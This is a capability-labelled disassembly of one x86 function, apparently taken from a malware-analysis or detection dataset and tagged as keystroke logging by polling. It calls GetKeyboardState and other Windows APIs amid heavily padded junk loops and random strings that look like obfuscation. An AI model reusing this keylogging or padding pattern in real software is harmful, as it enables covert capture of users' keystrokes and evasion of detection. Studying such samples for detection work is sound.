Function at 0x45e768
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3395
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x2b8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 8], 2
jl 0x45f9bf
mov dword [ebp - 0x118], 0x193f
mov dword [ebp - 0x1bc], str.mjeeefr_cwjnbpcgi_wgdvao_xtthaf_segjwd_jbgqjftq
cmp dword [ebp - 0x118], 0x1bc1
jle 0x45e811
and dword [ebp - 0x18], 0
jmp 0x45e7c4
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x6ca8
jge 0x45e811
and dword [ebp - 0x80], 0
jmp 0x45e7da
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x4b72
jge 0x45e80f
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x80]
cdq
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], edx
push dword [ebp - 0x190]
push dword [ebp - 0x194]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45e7d3
jmp 0x45e7bd
mov dword [ebp - 0x108], 0x2a92
and dword [ebp - 4], 0
cmp dword [ebp - 0x118], 0x1882
jge 0x45e83b
mov edx, dword [ebp - 0x1bc]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45e857
or dword [ebp - 4], 0xffffffff
jmp 0x45e861
mov dword [ebp - 0xf0], 0x4a5c
mov dword [ebp - 0x1e4], str.yiotiu_tgq_uzyve
cmp dword [ebp - 0xf0], 0x4cbf
jle 0x45e938
push 0x18c3
call dword [sym.imp.USER32.dll_PostQuitMessage]
and dword [ebp - 0x20], 0
jmp 0x45e89d
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x6baf
jge 0x45e938
and dword [ebp - 0xd8], 0
jmp 0x45e8c0
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x5b04
jge 0x45e933
and dword [ebp - 0x28], 0
jmp 0x45e8d9
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x441c
jge 0x45e931
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xd8]
sar eax, cl
or eax, dword [ebp - 0x28]
cdq
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], edx
push dword [ebp - 0x1cc]
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x28c]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x28c]
call fcn.00402793
jmp 0x45e8d2
jmp 0x45e8b3
jmp 0x45e896
mov dword [ebp - 0x1d4], str.qyll_fqvs_juikhiz_vdjt_ooy_vfepk_rtks_vfxnaddb_eazohr_jmtab_useaqlip_zffxqjj_oyre
mov dword [ebp - 4], 2
cmp dword [ebp - 0xf0], 0x4723
jge 0x45e961
push dword [ebp - 0x1e4]
call fcn.00487285
pop ecx
jmp 0x45e97d
or dword [ebp - 4], 0xffffffff
jmp 0x45e987
mov dword [ebp - 0x100], 0x3be5
mov dword [ebp - 0x1c0], str.tdzhl_uzonffjh_nafaysxu_mzb_uscd_tzldbqfnd_ykegeocl_ccidkprds_fdvd_fwffzxxal_vjlzfud_yxnucsdno_ymaal_xropk
cmp dword [ebp - 0x100], 0x3d29
jle 0x45ea64
and dword [ebp - 0x88], 0
jmp 0x45e9c1
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x6d95
jge 0x45ea64
and dword [ebp - 0x30], 0
jmp 0x45e9de
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x7e3a
jge 0x45ea5f
and dword [ebp - 0xb8], 0
jmp 0x45e9fd
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x528
jge 0x45ea5a
and dword [ebp - 0x38], 0
jmp 0x45ea16
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x71f7
jge 0x45ea58
mov eax, dword [ebp - 0x88]
sub eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xb8]
shl eax, cl
and eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], edx
push dword [ebp - 0x1a0]
push dword [ebp - 0x1a4]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45ea0f
jmp 0x45e9f0
jmp 0x45e9d7
jmp 0x45e9b4
cmp dword [ebp - 0x108], 0x2ab2
jle 0x45ee8c
and dword [ebp - 0xc0], 0
jmp 0x45ea8a
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xa87
jge 0x45ee8c
and dword [ebp - 0x58], 0
jmp 0x45eaa7
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x2b33
jge 0x45ee87
mov dword [ebp - 0x110], 0x5c86
mov dword [ebp - 0x148], str.fel_fsg_ffgwsl_pewswo_zbxtfdzix_cgyefpmj_hutksxj_wofemvhoj_cbwme_sogttrq_dmgxix_lstfq_jhoyfu
cmp dword [ebp - 0x110], 0x5ff6
jle 0x45eb44
and dword [ebp - 0x90], 0
jmp 0x45eaea
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x79e8
jge 0x45eb3c
and dword [ebp - 0x40], 0
jmp 0x45eb03
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x1f6d
jge 0x45eb3a
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x40]
cdq
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], edx
push dword [ebp - 0x1d8]
push dword [ebp - 0x1dc]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45eafc
jmp 0x45eadd
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 0xa0], 0
jmp 0x45eb5a
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x10b6
jge 0x45ee39
mov dword [ebp - 0xe8], 0x77d9
mov dword [ebp - 0x13c], str.ceys_xsbajl_ulsiqbx_dokomuudf
cmp dword [ebp - 0xe8], 0x7a75
jle 0x45ec6d
and dword [ebp - 0xd0], 0
jmp 0x45eba4
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x77ac
jge 0x45ec6d
and dword [ebp - 0x48], 0
jmp 0x45ebc1
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x3a7c
jge 0x45ec68
and dword [ebp - 0x98], 0
jmp 0x45ebe4
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x36e0
jge 0x45ec63
and dword [ebp - 0x50], 0
jmp 0x45ebfd
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x729
jge 0x45ec5e
mov eax, dword [ebp - 0xd0]
cdq
idiv dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x50]
sar eax, cl
and eax, edx
cdq
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], edx
push dword [ebp - 0x1b0]
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x25c]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x25c]
call fcn.00402793
jmp 0x45ebf6
jmp 0x45ebd7
jmp 0x45ebba
jmp 0x45eb97
mov eax, dword [ebp - 0xc0]
and eax, dword [ebp - 0x58]
and eax, dword [ebp - 0xa0]
cdq
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], 4
cmp dword [ebp - 0xe8], 0x778b
jge 0x45eca8
push dword [ebp - 0x13c]
call fcn.00487285
pop ecx
jmp 0x45ecc4
or dword [ebp - 4], 0xffffffff
jmp 0x45ecce
mov dword [ebp - 0xf8], 0x312b
mov dword [ebp - 0x1e0], str.gug_hky_ztigwefb_pdzboq_ymlbano_jzw_eluhv_taxmchmtb_opxy_urkywcid
cmp dword [ebp - 0xf8], 0x327b
jle 0x45edd9
and dword [ebp - 0x60], 0
jmp 0x45ecff
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x3d64
jge 0x45edcf
and dword [ebp - 0xe0], 0
jmp 0x45ed22
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x69c0
jge 0x45edca
and dword [ebp - 0x68], 0
jmp 0x45ed3f
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x6219
jge 0x45edc5
and dword [ebp - 0xa8], 0
jmp 0x45ed5e
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x2bb3
jge 0x45edc0
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x68]
sar eax, cl
and eax, dword [ebp - 0xa8]
cdq
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
push dword [ebp - 0x12c]
push dword [ebp - 0x130]
lea ecx, [ebp - 0x214]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x214]
call fcn.00402793
jmp 0x45ed51
jmp 0x45ed38
jmp 0x45ed15
jmp 0x45ecf8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push dword [ebp - 0x134]
push dword [ebp - 0x138]
mov ecx, 0xabd2e0
call fcn.004825e1
mov dword [ebp - 4], 6
cmp dword [ebp - 0xf8], 0x2d9e
jge 0x45ee0e
push dword [ebp - 0x1e0]
call fcn.00487285
pop ecx
jmp 0x45ee2a
or dword [ebp - 4], 0xffffffff
jmp 0x45ee34
jmp 0x45eb4d
mov dword [ebp - 4], 8
cmp dword [ebp - 0x110], 0x5a75
jge 0x45ee5c
mov edx, dword [ebp - 0x148]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45ee78
or dword [ebp - 4], 0xffffffff
jmp 0x45ee82
jmp 0x45eaa0
jmp 0x45ea7d
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x100], 0x3970
jge 0x45eeaf
mov edx, dword [ebp - 0x1c0]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45eecb
or dword [ebp - 4], 0xffffffff
jmp 0x45eed5
mov dword [ebp - 0x120], 0x1291
mov dword [ebp - 0x154], str.armnbapsz_jmvusbdxb_bdief_tlviy_ooub
cmp dword [ebp - 0x120], 0x1675
jle 0x45efd8
and dword [ebp - 0x70], 0
jmp 0x45ef06
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x3387
jge 0x45efd8
and dword [ebp - 0xc8], 0
jmp 0x45ef29
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x14c5
jge 0x45efd3
and dword [ebp - 0x78], 0
jmp 0x45ef46
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xb0a
jge 0x45efce
and dword [ebp - 0xb0], 0
jmp 0x45ef65
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x7bf4
jge 0x45efc9
mov ecx, dword [ebp - 0x70]
add ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0xb0]
and ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], edx
push dword [ebp - 0x140]
push dword [ebp - 0x144]
lea ecx, [ebp - 0x22c]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x22c]
call fcn.00402793
jmp 0x45ef58
jmp 0x45ef3f
jmp 0x45ef1c
jmp 0x45eeff
push 1
lea eax, [ebp - 0x2b0]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.00451a83
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x1fc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x1fc]
lea edi, [ebp - 0x1f0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x120], 0xfd4
jge 0x45f026
push dword [ebp - 0x154]
call fcn.00487285
pop ecx
jmp 0x45f042
or dword [ebp - 4], 0xffffffff
jmp 0x45f04c
mov dword [ebp - 4], 0xe
mov dword [ebp - 0xf4], 0x1074
mov dword [ebp - 0x1c8], str.rcc_lhgypdy_vkajucaci_uajq_jurf_covjdvbsf_hkzxlzv_vzbv_cfuj_vmtfgazp_hoq_vprmqdgwj_kpwit
cmp dword [ebp - 0xf4], 0x12c6
jle 0x45f133
and dword [ebp - 0x14], 0
jmp 0x45f084
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x5378
jge 0x45f133
and dword [ebp - 0x1c], 0
jmp 0x45f09e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x5528
jge 0x45f12e
and dword [ebp - 0x24], 0
jmp 0x45f0b8
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x43c0
jge 0x45f129
and dword [ebp - 0x2c], 0
jmp 0x45f0ce
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x54aa
jge 0x45f127
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x2c]
xor eax, ecx
cdq
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], edx
push dword [ebp - 0x14c]
push dword [ebp - 0x150]
lea ecx, [ebp - 0x244]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x244]
call fcn.00402793
jmp 0x45f0c7
jmp 0x45f0b1
jmp 0x45f097
jmp 0x45f07d
cmp dword [ebp - 0x108], 0x2884
jge 0x45f234
mov dword [ebp - 0xec], 0x27f9
mov dword [ebp - 0x160], str.owhv_iotddmswb_yxklb_dwkxq_zml_gjd_pntw_ubsbmyr_fwihljt_wee_qcnmgoz_jthlo_yyjv_nly
cmp dword [ebp - 0xec], 0x2b4e
jle 0x45f1d8
and dword [ebp - 0x34], 0
jmp 0x45f170
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x20a
jge 0x45f1d8
and dword [ebp - 0x3c], 0
jmp 0x45f186
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x5fd8
jge 0x45f1d6
and dword [ebp - 0x44], 0
jmp 0x45f19c
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x540a
jge 0x45f1d4
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x3c]
xor eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], edx
push dword [ebp - 0x158]
push dword [ebp - 0x15c]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45f195
jmp 0x45f17f
jmp 0x45f169
mov edx, dword [ebp - 0x1d4]
mov ecx, 0xabd2e0
call fcn.00483a8f
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0xec], 0x2548
jge 0x45f208
mov edx, dword [ebp - 0x160]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45f224
mov dword [ebp - 4], 0xe
jmp 0x45f234
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0xf4], 0xc96
jge 0x45f250
push dword [ebp - 0x1c8]
call fcn.00487285
pop ecx
jmp 0x45f26c
mov dword [ebp - 4], 0xe
jmp 0x45f27c
jmp 0x45f37e
or dword [ebp - 4], 0xffffffff
jmp 0x45f388
mov dword [ebp - 0x104], 0x4d08
mov dword [ebp - 0x1b8], str.jrdudmuwo_zldfogffn_plmlgzh_hwda_qogytd_ugo_qrwd_feqxj_jhtn
cmp dword [ebp - 0x104], 0x4e83
jle 0x45f479
and dword [ebp - 0x74], 0
jmp 0x45f3b9
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x31f
jge 0x45f468
and dword [ebp - 0x64], 0
jmp 0x45f3d3
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x6492
jge 0x45f463
and dword [ebp - 0x6c], 0
jmp 0x45f3ed
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x3d03
jge 0x45f45e
and dword [ebp - 0x7c], 0
jmp 0x45f403
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x6a82
jge 0x45f45c
mov eax, dword [ebp - 0x64]
cdq
idiv dword [ebp - 0x6c]
and edx, dword [ebp - 0x74]
or edx, dword [ebp - 0x7c]
mov eax, edx
cdq
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], edx
push dword [ebp - 0x170]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x274]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x274]
call fcn.00402793
jmp 0x45f3fc
jmp 0x45f3e6
jmp 0x45f3cc
jmp 0x45f3b2
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
cmp dword [ebp - 0x1f0], 0
je 0x45f496
push 0
push dword [ebp - 0x1e8]
push dword [ebp - 0x1ec]
call dword [ebp - 0x1f0]
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x104], 0x4be1
jge 0x45f4b5
push dword [ebp - 0x1b8]
call fcn.00487285
pop ecx
jmp 0x45f4d1
or dword [ebp - 4], 0xffffffff
jmp 0x45f4db
mov dword [ebp - 0x10c], 0x70a9
mov dword [ebp - 0x178], str.aenlzb_rzbwuxtqi_rraajzxw_jvdzfsj_itunjr_ser_ezjqddaju_zejd_kuhgvbcmy_qbjtgv_zegzx_jhptlnci_pbvls
cmp dword [ebp - 0x10c], 0x7155
jle 0x45f5de
and dword [ebp - 0x9c], 0
jmp 0x45f515
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x7fdc
jge 0x45f5de
and dword [ebp - 0x84], 0
jmp 0x45f53b
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x1d87
jge 0x45f5d9
and dword [ebp - 0x8c], 0
jmp 0x45f561
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x101c
jge 0x45f5d4
and dword [ebp - 0x94], 0
jmp 0x45f583
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x54cb
jge 0x45f5d2
mov eax, dword [ebp - 0x84]
cdq
idiv dword [ebp - 0x8c]
imul edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x9c]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], edx
push dword [ebp - 0x17c]
push dword [ebp - 0x180]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45f576
jmp 0x45f554
jmp 0x45f52e
jmp 0x45f508
jmp 0x45f9ca
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00462209
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret